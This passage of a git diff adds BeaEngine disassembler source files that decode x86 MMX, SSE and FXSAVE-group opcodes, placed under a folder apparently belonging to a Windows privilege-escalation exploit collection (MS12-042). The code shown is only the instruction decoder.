GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + FillFlags(pMyDisasm, 74); + } + else if (GV.REGOPCODE == 2) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + FillFlags(pMyDisasm, 4); + } + else if (GV.REGOPCODE == 3) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + FillFlags(pMyDisasm, 93); + } + else if (GV.REGOPCODE == 4) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + FillFlags(pMyDisasm, 6); + } + else if (GV.REGOPCODE == 5) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + FillFlags(pMyDisasm, 103); + } + + else if (GV.REGOPCODE == 6) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + FillFlags(pMyDisasm, 113); + } + + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + FillFlags(pMyDisasm, 20); + (*pMyDisasm).Argument1.AccessMode = READ; + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp12.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp12.c new file mode 100644 index 0000000..d0d9030 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp12.c @@ -0,0 +1,195 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ G12_(PDISASM pMyDisasm) +{ + long MyNumber; + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 2) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + else if (GV.REGOPCODE == 4) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + + } + else if (GV.REGOPCODE == 6) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + + else { + FailDecode(pMyDisasm); + } + +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp13.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp13.c new file mode 100644 index 0000000..b01a132 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp13.c @@ -0,0 +1,194 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ G13_(PDISASM pMyDisasm) +{ + long MyNumber; + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 2) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + else if (GV.REGOPCODE == 4) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + + } + else if (GV.REGOPCODE == 6) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + + else { + FailDecode(pMyDisasm); + } + +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp14.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp14.c new file mode 100644 index 0000000..801e114 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp14.c @@ -0,0 +1,203 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ G14_(PDISASM pMyDisasm) +{ + long MyNumber; + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 2) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + else if (GV.REGOPCODE == 3) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrldq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + FailDecode(pMyDisasm); + } + + } + else if (GV.REGOPCODE == 6) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1qword; + GV.ImmediatSize = 8; + GV.MMX_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.MMX_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + } + else if (GV.REGOPCODE == 7) { + if (GV.OperandSize == 16) { + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; + GV.MemDecoration = Arg1dqword; + GV.ImmediatSize = 8; + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslldq "); + #endif + } + else { + FailDecode(pMyDisasm); + } + GV.EIP_ += GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + else { + FailDecode(pMyDisasm); + } + + } + else { + FailDecode(pMyDisasm); + } + +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp15.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp15.c new file mode 100644 index 0000000..1489d0a --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp15.c @@ -0,0 +1,166 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ G15_(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg1multibytes; + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxsave "); + #endif + (*pMyDisasm).Argument1.ArgSize = 512; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; + (*pMyDisasm).Argument2.ArgSize = 512; + } + else { + FailDecode(pMyDisasm); + } + } + else if (GV.REGOPCODE == 1) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2multibytes; + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxrstor "); + #endif + (*pMyDisasm).Argument2.ArgSize = 512; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; + (*pMyDisasm).Argument1.ArgSize = 512; + } + else { + FailDecode(pMyDisasm); + } + + } + else if (GV.REGOPCODE == 2) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ldmxcsr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + FailDecode(pMyDisasm); + } + + } + else if (GV.REGOPCODE == 3) { + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + if (GV.MOD_!= 0x3) { + GV.MemDecoration = Arg1dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+STATE_MANAGEMENT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stmxcsr "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + FailDecode(pMyDisasm); + } + + } + + else if (GV.REGOPCODE == 4) { + 